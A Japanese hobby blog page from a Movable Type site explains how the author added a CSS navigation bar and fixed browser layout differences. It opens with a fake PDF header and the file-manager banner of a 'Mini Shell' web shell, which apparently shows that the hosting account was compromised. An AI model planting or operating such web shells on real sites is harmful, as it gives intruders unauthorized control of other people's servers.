%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/rappan/www/blog/blog/mt50/custom/page2/
Upload File :
Create Path :
Current File : /home/rappan/www/blog/blog/mt50/custom/page2/index_4.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja" id="sixapart-standard">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
   <meta http-equiv="Content-Script-Type" content="text/javascript" />
   <meta http-equiv="Content-Style-Type" content="text/css" />
   <meta name="generator" content="Movable Type Pro 5.12" />
   <link rel="stylesheet" href="http://rappan.sakura.ne.jp/blog/styles-site.css" type="text/css" />
   
   
   <title>
   
      
         ページ構成アーカイブ: 道化師ラッパンのボヤキ
      
   
   </title>
   
   
   
   
   
   
   <script type="text/javascript" src="http://rappan.sakura.ne.jp/blog/mt.js"></script>





   
<script type="text/javascript" src="http://rappan.sakura.ne.jp/blog/menufolder.js" charset="utf-8"></script>
</head>
<body class="layout-three-column">
<div id="main-box">
<div id="box" class="clearfix">

<div id="head">
<div id="header">
<h1 id="blog-name"><a href="http://rappan.sakura.ne.jp/blog/" accesskey="1">道化師ラッパンのボヤキ</a></h1>
<p class="blog-description">年がら年じゅう、寝る間も惜しんで、趣味に没頭するマニアックな日々。
</p>
</div>
<div id="head-navi">
<UL id="under1">
  <LI><A href="http://rappan.sakura.ne.jp/blog/" title="ブログのトップへ">ブログトップ</A>
  <LI><a href="http://rappan.sakura.ne.jp/blog/archives.php" title="記事一覧へ">記事一覧</A>
  <LI><a href="http://rappan.sakura.ne.jp/blog/tagcloud.php" title="タグ一覧へ">タグクラウド</A>
</UL>
<UL id="under2">
  <LI id="list"><A href="リンク先" title="#">このサイトについて</A>
  <LI><A href="リンク先" title="#">「年がら年じゅう」ホーム</A>
</UL>
</div>
</div>
<div id="head-calendar"><object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0' width='650' height='22' id='w_calendar300'><param name='allowScriptAccess' value='always' /><param name='movie' value='http://rappan.sakura.ne.jp/blog/w_calendar300.swf?xmlURL=http://rappan.sakura.ne.jp/blog/xml/&kc=4&fC=3b0077&eC=ff7f00&tC=dd0000&tp=0&mf=2&link=1&tg=1' /><param name='quality' value='high' /><param name='wmode' value='transparent' /><param name='bgcolor' value='#cccccc' /><embed src='http://rappan.sakura.ne.jp/blog/w_calendar300.swf?xmlURL=http://rappan.sakura.ne.jp/blog/xml/&kc=4&fC=3b0077&eC=ff7f00&tC=dd0000&tp=0&mf=2&link=1&tg=1' quality='high' wmode='transparent' bgcolor='#cccccc' width='650' height='22' name='w_calendar300' allowScriptAccess='always' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer' /></object></div>


  
<div id="links-left-box">
  <dl id="links-left">
<dt class="sidetitle">
Categories
</dt>

<dd class="side" id="categories">


<ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories28name">水槽</div>


<div id="subcategories28list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/arua2/" title="12">水槽全体</a> [5]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/abeni/" title="21">アベニーパファ</a> [33]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/otosin/" title="22">オトシン</a> [9]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/numaebi/" title="29">ヌマエビ</a> [5]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/mizukusa/" title="20">水草</a> [15]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/aqua/terra/" title="44">テラリウム</a> [5]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/aqua/etc/" title="35">その他</a> [1]



</li>
</ul></div>

</li>




<li class="tree"><div class="subcategories" id="subcategories40name">食虫植物</div>


<div id="subcategories40list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/dionaea/" title="41">ハエトリソウ</a> [42]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/sarra/" title="42">サラセニア</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/utri/" title="43">ウトリキュラリア</a> [3]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/cephalotus/" title="50">セファロタス</a> [1]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/import/" title="52">輸入</a> [11]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/cp/planter/" title="49">プランター台</a> [3]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/cp/transplant/" title="51">植え替え</a> [3]



</li>
</ul></div>

</li>




<li class="tree"><div class="subcategories" id="subcategories23name">日々の出来事</div>


<div id="subcategories23list"><ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories24name">お出かけ</div>


<div id="subcategories24list"><ul class="tree">

<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/diary/odekake/hyogo/" title="10">兵庫県内</a> [5]



</li>
</ul></div>

</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/diary2/" title="15">ただの日記</a> [6]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/nande/" title="26">ちょいとツッコミ</a> [3]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/pc/" title="13">パソコン</a> [2]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/diary/auction/" title="8">オークション</a> [2]



</li>




<li class="tree"><div class="subcategories" id="subcategories25name">メモ</div>


<div id="subcategories25list"><ul class="tree">

<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/diary/memo/clover/" title="19">クローバー</a> [1]



</li>
</ul></div>

</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/diary/conveni/" title="53">コンビニ</a> [1]



</li>
</ul></div>

</li>




<li class="tree_end"><div class="subcategories" id="subcategories30name">ブログ</div>


<div id="subcategories30list"><ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories31name">MT5</div>


<div id="subcategories31list"><ul class="tree">

<li class="tree"><div class="subcategories" id="subcategories32name">カスタマイズ</div>


<div id="subcategories32list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/php/" title="7">php化</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/side/" title="9">サイドメニュー</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/theme/" title="2">テーマ</a> [9]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/parts/" title="3">ブログパーツ</a> [1]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/" title="33">ページ構成</a> [7]



</li>
</ul></div>

</li>




<li class="tree_end"><div class="subcategories" id="subcategories34name">プラグイン</div>


<div id="subcategories34list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/consti/" title="54">構成系</a> [4]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/image/" title="4">画像系</a> [2]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/edit/" title="6">編集系</a> [4]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/plugin2/entry/" title="11">記事系</a> [3]



</li>
</ul></div>

</li>
</ul></div>

</li>




<li class="tree"><div class="subcategories" id="subcategories36name">MT3.2</div>


<div id="subcategories36list"><ul class="tree">

<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/page/" title="5">ページ構成</a> [13]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/plugin/" title="17">プラグイン</a> [3]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/css/" title="18">スタイルシート</a> [9]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/mt32/memomemo/" title="16">覚書</a> [2]



</li>
</ul></div>

</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/tool/" title="14">ツール</a> [2]



</li>




<li class="tree"><a href="http://rappan.sakura.ne.jp/blog/blog/up/" title="1">バージョンアップ</a> [4]



</li>




<li class="tree_end"><a href="http://rappan.sakura.ne.jp/blog/blog/iko/" title="37">移行</a> [3]



</li>
</ul></div>

</li>
</ul>

 
<script type="text/javascript">
<!--

FoldNavigation('subcategories28','initState',true);























FoldNavigation('subcategories40','initState',true);























FoldNavigation('subcategories23','initState',true);

FoldNavigation('subcategories24','initState',true);

















FoldNavigation('subcategories25','initState',true);









FoldNavigation('subcategories30','initState',true);

FoldNavigation('subcategories31','initState',true);

FoldNavigation('subcategories32','initState',true);

















FoldNavigation('subcategories34','initState',true);















FoldNavigation('subcategories36','initState',true);
























//-->
</script>

</dd>

<dt class="sidetitle">
Recent Comments
</dt>



  
  
    
    
  
    
    
  
    
    
  
    
    
  
    
    
  
    
    
  
    
    
  



<dt class="sidetitle">
Recent Entries
</dt>

<dd class="side">
  <ul>

    <li><a href="http://rappan.sakura.ne.jp/blog/2011/06/16-170555.php" title="e108">フッターのせり上がりの修正[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/29-233546.php" title="e25">メインページのページ分割（その3）[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/28-170026.php" title="e24">メインページのページ分割（その2）[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/28-160022.php" title="e23">メインページのページ分割（その1）[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/24-113024.php" title="e22">同カテゴリ内の前後記事へのリンク[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/23-165238.php" title="e21">パンくずリストを付けてみた[MT5]</a></li>

    <li><a href="http://rappan.sakura.ne.jp/blog/2010/02/25-135741.php" title="e7">ナビゲーションバーを入れてみた[MT5]</a></li>

  </ul>
</dd>
<dt class="sidetitle">
Recent Trackbacks
</dt>


<dd class="side">

</dd>



    
  </dl>
</div>
  


<div id="content">
<div class="blog">

<div class="content-nav">
    
    <a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/parts/">&laquo; ブログパーツ</a> |
    
    <a href="http://rappan.sakura.ne.jp/blog/">Main</a>
    
</div>


   
   
      <!--
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
         xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"
         xmlns:dc="http://purl.org/dc/elements/1.1/">
<rdf:Description
    rdf:about="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/index.php#entry-000007"
    trackback:ping="http://rappan.sakura.ne.jp/mt/mt-tb.cgi/7"
    dc:title="ナビゲーションバーを入れてみた[MT5]"
    dc:identifier="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/index.php#entry-000007"
    dc:subject="ページ構成"
    dc:description=" 	ほんまは、他にもやりたいこといっぱいなんやけど、とりあえずこれ。 	リンク先..."
    dc:creator="ラッパン"
    dc:date="2010-02-25T13:57:41+09:00" />
</rdf:RDF>
-->

      <div class="entry-box">

<h2 id="a000007" class="entry-header"><a href="http://rappan.sakura.ne.jp/blog/2010/02/25-135741.php">ナビゲーションバーを入れてみた[MT5]</a></h2>

   <div class="title-img"><img src="http://rappan.sakura.ne.jp/blog/titleimg/img06.gif"></div>
   <div class="entry-title">
      <div class="space">
      </div>
      
      <p class="date">2010年2月25日</p>
      
   </div>

<div class="entry">

   <div class="entry-content clearfix">
      
         <p>
	ほんまは、他にもやりたいこといっぱいなんやけど、とりあえずこれ。</p>
<p>
	リンク先のページはいつか作るとして、<strong>ナビゲーションバー</strong>を付けることにしました。前のブログでも付けてたし・・・。</p>
<p>
	&nbsp;</p>
<p>
	で、実はそれを考えて、タイトルの画像の下辺に、<strong>headnavi</strong>という名でdivのボックスを作ってあるのであった。（赤枠の部分。870px&times;30px）<img alt="100225-1.gif" class="mt-image-center" height="140" src="http://rappan.sakura.ne.jp/blog/image/blog/100225-1.gif" style="text-align: center; margin: 0px auto 20px; display: block" width="350" /></p>
<p>
	まずは、<strong>メインページ</strong>のheadnavi部分に、下記を記述（青字部分）。</p>
<pre>
<code>&lt;div id=&quot;headnavi&quot;&gt;
<span style="color: #00f">&nbsp; &lt;UL&gt;
&nbsp; &lt;LI&gt;&lt;A href=&quot;リンク先&quot; title=&quot;#&quot;&gt;ブログ&lt;/A&gt;
&nbsp; &lt;LI&gt;&lt;A href=&quot;リンク先&quot; title=&quot;#&quot;&gt;このサイトについて&lt;/A&gt;
&nbsp; &lt;LI&gt;&lt;A href=&quot;リンク先&quot; title=&quot;#&quot;&gt;リンク集&lt;/A&gt;
&nbsp; &lt;LI&gt;&lt;A href=&quot;リンク先&quot; title=&quot;#&quot;&gt;ホーム&lt;/A&gt;
&nbsp; &lt;/UL&gt;
</span>&lt;/div&gt;</code></pre>
<p>
	ほんまはね、リンク先のURLのとこMTのタグとか使ったりするのが正当なんやろけど、特にページ増やして、このMTで管理する予定でもないので、普通にURLを書きました。</p>
<p>
	&nbsp;</p>
<p>
	次に、<strong>CSS</strong>に下記を記述。</p>
<pre>
<code><span class="css-comment" currenttext="/*ナビゲーションメニュー*/" dirty="false" ispart="true">/*ナビゲーションメニュー*/</span>
<span class="css-identifier" currenttext="div" dirty="false" ispart="true">div</span><span class="css-identifier" currenttext="#headnavi" dirty="false" ispart="true">#headnavi</span><span class="css-punctuation" currenttext="{" dirty="false" ispart="true">{</span>
<span class="whitespace" currenttext="  " dirty="false" ispart="true">  </span><span class="css-identifier" currenttext="height" dirty="false" ispart="true">height</span><span class="css-punctuation" currenttext=": " dirty="false" ispart="true">: </span><span class="css-unit" currenttext="30px" dirty="false" ispart="true"><font color="#228811">30px</font></span><span class="css-punctuation" currenttext=";" ispart="true">;</span>
<span class="whitespace" currenttext="  " dirty="false" ispart="true">  </span><span class="css-identifier" currenttext="width " ispart="true">width </span><span class="css-punctuation" currenttext=": " dirty="false" ispart="true">: </span><span class="css-unit" currenttext="850px" dirty="false" ispart="true"><font color="#228811">850px</font></span><span class="css-punctuation" currenttext=";" dirty="false" ispart="true">;</span>
<span class="whitespace" currenttext="  " dirty="false" ispart="true">  </span><span class="css-identifier" currenttext="margin-left" dirty="false" ispart="true">margin-left</span><span class="css-punctuation" currenttext=": " dirty="false" ispart="true">: </span><span class="css-unit" currenttext="20px" dirty="false" ispart="true"><font color="#228811">20px</font></span><span class="css-punctuation" currenttext="; " dirty="false" ispart="true">; </span><span class="css-comment" currenttext="/*メニューの位置*/" dirty="false" ispart="true">/*メニューの位置*/</span>
<span class="whitespace" currenttext="  " dirty="false" ispart="true">  </span><span class="css-identifier" currenttext="margin-top" dirty="false" ispart="true">margin-top</span><span class="css-punctuation" currenttext=": " dirty="false" ispart="true">: </span><span class="css-unit" currenttext="2px" dirty="false" ispart="true"><font color="#228811">2px</font></span><span class="css-punctuation" currenttext="; " dirty="false" ispart="true">; </span><span class="css-comment" currenttext="/*上側余白*/" dirty="false" ispart="true">/*上側余白*/</span>
<span class="css-punctuation" currenttext="}" dirty="false" ispart="true">}</span>

<span class="css-identifier" currenttext="div" dirty="false" ispart="true">div</span><span class="css-identifier" currenttext="#headnavi " dirty="false" ispart="true">#headnavi </span><span class="css-identifier" currenttext="UL " dirty="false" ispart="true">UL </span><span class="css-punctuation" currenttext="{" dirty="false" ispart="true">{</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="list-style" ispart="true">list-style</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-value" currenttext="none" ispart="true"><font color="#770088">none</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*マーカーなし*/" ispart="true">/*マーカーなし*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="margin" ispart="true">margin</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-unit" currenttext="0px" ispart="true"><font color="#228811">0px</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*外側余白*/" ispart="true">/*外側余白*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="padding" ispart="true">padding</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-unit" currenttext="0px" ispart="true"><font color="#228811">0px</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*内側余白*/" ispart="true">/*内側余白*/</span>
<span class="css-punctuation" currenttext="}" ispart="true">}</span>

<span class="css-identifier" currenttext="div" ispart="true">div</span><span class="css-identifier" currenttext="#headnavi " ispart="true">#headnavi </span><span class="css-identifier" currenttext="LI " ispart="true">LI </span><span class="css-punctuation" currenttext="{" ispart="true">{</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="white-space" ispart="true">white-space</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-value" currenttext="nowrap" ispart="true"><font color="#770088">nowrap</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*自動改行の禁止*/" ispart="true">/*自動改行の禁止*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="float" ispart="true">float</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-value" currenttext="left" ispart="true"><font color="#770088">left</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*横並び*/" ispart="true">/*横並び*/</span>
<span class="whitespace" currenttext="  " dirty="false" ispart="true">  </span><span class="css-identifier" currenttext="text-align" dirty="false" ispart="true">text-align</span><span class="css-punctuation" currenttext=": " dirty="false" ispart="true">: </span><span class="css-value" currenttext="center" dirty="false" ispart="true"><font color="#770088">center</font></span><span class="css-punctuation" currenttext="; " dirty="false" ispart="true">; </span><span class="css-comment" currenttext="/*中央揃え*/" dirty="false" ispart="true">/*中央揃え*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="font-size" ispart="true">font-size</span><span class="css-punctuation" currenttext=":" ispart="true">:</span><span class="css-unit" currenttext="12px" ispart="true"><font color="#228811">12px</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*文字大きさ*/" ispart="true">/*文字大きさ*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="font-weight" ispart="true">font-weight</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-value" currenttext="bold" ispart="true"><font color="#770088">bold</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*文字の太さ*/" ispart="true">/*文字の太さ*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="margin-left" ispart="true">margin-left</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-unit" currenttext="6px" ispart="true"><font color="#228811">6px</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*メニューの間隔*/" ispart="true">/*メニューの間隔*/</span>
<span class="css-punctuation" currenttext="}" ispart="true">}</span>

<span class="css-identifier" currenttext="div" ispart="true">div</span><span class="css-identifier" currenttext="#headnavi " ispart="true">#headnavi </span><span class="css-identifier" currenttext="A " ispart="true">A </span><span class="css-punctuation" currenttext="{" ispart="true">{</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="display" ispart="true">display</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-value" currenttext="block" ispart="true"><font color="#770088">block</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*表示形式*/" ispart="true">/*表示形式*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="width" ispart="true">width</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-unit" currenttext="80px" ispart="true"><font color="#228811">80px</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*メニューの幅*/" ispart="true">/*メニューの幅*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="text-decoration" ispart="true">text-decoration</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-value" currenttext="none" ispart="true"><font color="#770088">none</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*リンクの下線*/" ispart="true">/*リンクの下線*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="background-color" ispart="true">background-color</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-colorcode" currenttext="#ffcc66" ispart="true"><font color="#004499">#ffcc66</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*背景色*/" ispart="true">/*背景色*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="border" ispart="true">border</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-unit" currenttext="1px " ispart="true"><font color="#228811">1px </font></span><span class="css-value" currenttext="solid " ispart="true"><font color="#770088">solid </font></span><span class="css-colorcode" currenttext="#cc00cc" ispart="true"><font color="#004499">#cc00cc</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*枠色*/" ispart="true">/*枠色*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="padding " ispart="true">padding </span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-unit" currenttext="3px " ispart="true">3px </span><span class="css-unit" currenttext="10px" ispart="true">10px</span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*内側余白*/" ispart="true">/*内側余白*/</span>
<span class="css-punctuation" currenttext="}" ispart="true">}</span>

<span class="css-identifier" currenttext="div" ispart="true">div</span><span class="css-identifier" currenttext="#headnavi " ispart="true">#headnavi </span><span class="css-identifier" currenttext="A" ispart="true">A</span><span class="css-punctuation" currenttext=":" ispart="true">:</span><span class="css-identifier" currenttext="HOVER" ispart="true">HOVER</span><span class="css-punctuation" currenttext="{" ispart="true">{</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="text-decoration" ispart="true">text-decoration</span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-value" currenttext="none" ispart="true"><font color="#770088">none</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*リンクの下線*/" ispart="true">/*リンクの下線*/</span>
<span class="whitespace" currenttext="  " ispart="true">  </span><span class="css-identifier" currenttext="background-color " ispart="true">background-color </span><span class="css-punctuation" currenttext=": " ispart="true">: </span><span class="css-colorcode" currenttext="#ffffee" ispart="true"><font color="#004499">#ffffee</font></span><span class="css-punctuation" currenttext="; " ispart="true">; </span><span class="css-comment" currenttext="/*背景色*/" ispart="true">/*背景色*/</span>
<span class="css-punctuation" currenttext="}" dirty="false" ispart="true">}</span></code></pre>
<p>
	&nbsp;</p>
<p>
	&nbsp;&nbsp;で、再構築・・・。うまいこといったので、めでたしめでたし。&nbsp;&nbsp;<img alt="100225-2.gif" class="mt-image-center" height="140" src="http://rappan.sakura.ne.jp/blog/image/blog/100225-2.gif" style="text-align: center; margin: 0px auto 20px; display: block" width="350" /></p>
<p>
	&nbsp;</p>
<p>
	<span style="color: #f00">[追記]：2010/3/5</span></p>
<p>
	・・・と思ってた実際。全然めでたくなかった。<img alt="wobbly" height="16" src="http://rappan.sakura.ne.jp/mt/mt-static/plugins/CKEditor/ckeditor/plugins/mobilepictogram/images/wobbly.gif" title="wobbly" width="16" />なんでかというと・・・</p>
<p>
	<img alt="100305-1.gif" class="mt-image-center" height="307" src="http://rappan.sakura.ne.jp/blog/image/blog/100305-1.gif" style="text-align: center; margin: 0px auto 20px; display: block" width="350" /></p>
<ol>
	<li>
		ナビリンクの位置は全体に下にさがって（背景のタイトル画像もずれて）る。</li>
	<li>
		リンクの文字は囲んでる赤線より出てる。</li>
</ol>
<p>
	&nbsp;</p>
<p>
	1については、<strong>「タイトル」のh1と「サブタイトル」のp</strong>が<strong>margin</strong>で位置を表示してたので、<strong>padding</strong>に変更したら直りました。</p>
<p>
	2については、</p>
<pre>
<code>div#headnavi A {
   width: 80px; /*メニューの幅*/
}</code></pre>
<p>
	がアカンかったようで、幅80pxよりはみ出ない文字列の長さの場合は問題ないんやけど、80pxより長い文字列になった場合、IEは勝手に文字に合わせて枠が広がるのに対して、FFではそれが効きませんでした。</p>
<p>
	それで上記の幅指定を削除。すると直りました。</p>
<p>
	&nbsp;</p>
<p>
	IEとFFって、marginとpaddingの理解の仕方に若干違いがあるみたいやね。</p>

      
      

      
         <div class="entry-tags">
   <h3 class="entry-tags-header">タグ:</h3>
   <ul class="entry-tags-list">
   
      <li class="entry-tag"><a href="http://rappan.sakura.ne.jp/mt/mt-search.cgi?IncludeBlogs=2&amp;tag=%E3%83%8A%E3%83%93%E3%82%B2%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3&amp;limit=20&amp;IncludeBlogs=2" rel="tag">ナビゲーション</a></li>
   
   </ul>
</div>


      

   </div>
   <p class="entry-footer">

<a href="http://rappan.sakura.ne.jp/blog/2010/02/25-135741.php">Permalink</a>

| 

Category : <a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/" title="">ページ構成</a>



 | 


<a href="http://rappan.sakura.ne.jp/blog/2010/02/25-135741.php#comments" title="comments7">Comments</a> [0]

 | 

<a href="http://rappan.sakura.ne.jp/blog/2010/02/25-135741.php#trackbacks" title="trackbacks7">Trackbacks</a> [0]

</p>

</div>
</div>
      


<div class="content-nav">
<div class="rappan">
   <ul>
   
   <li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/index_3.php" class="link_before">前へ</a></li>
   
   <li class="left"></li>
   <li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/index.php" class="link_page">1</a></li><li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/index_2.php" class="link_page">2</a></li><li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/index_3.php" class="link_page">3</a></li><li class="current_page">4</li>
   <li class="right"></li>
   
   </ul>
</div>
</div>

</div>
</div>




<div id="links-right-box">
  <dl id="links-right">
  
<dt class="sidetitle">
Search this site
</dt>
 
<dd class="side">
  <form method="get" action="http://rappan.sakura.ne.jp/mt/mt-search.cgi">
    <fieldset>
      <input type="hidden" name="IncludeBlogs" value="2" />
      <input type="hidden" name="limit" value="20" />
      <input id="search" tabindex="8"  accesskey="t" name="search" size="20" value="" />
      <input type="submit" tabindex="9" accesskey="s" value="Search" />
    </fieldset>
  </form>
</dd>
<dt class="sidetitle">
Monthly ページ構成
</dt>

<dd class="side">
    
      
  <ul>
      
    <li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/2011/06/">ページ構成: 2011年6月</a> [1]</li>
      
    
      
    <li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/2010/03/">ページ構成: 2010年3月</a> [5]</li>
      
    
      
    <li><a href="http://rappan.sakura.ne.jp/blog/blog/mt50/custom/page2/2010/02/">ページ構成: 2010年2月</a> [1]</li>
      
  </ul>
      
    
</dd>
  

<dt class="sidetitle">
Monthly Archives
</dt>

<dd class="side">
  
    
  <ul>
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2012/06/">2012年6月</a> [3]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2012/05/">2012年5月</a> [12]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2012/04/">2012年4月</a> [8]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/10/">2011年10月</a> [3]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/09/">2011年9月</a> [4]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/08/">2011年8月</a> [6]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/07/">2011年7月</a> [13]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/06/">2011年6月</a> [7]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/05/">2011年5月</a> [8]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/04/">2011年4月</a> [2]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2011/03/">2011年3月</a> [11]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/06/">2010年6月</a> [15]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/05/">2010年5月</a> [17]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/04/">2010年4月</a> [12]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/03/">2010年3月</a> [18]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2010/02/">2010年2月</a> [7]</li>
    
  
    
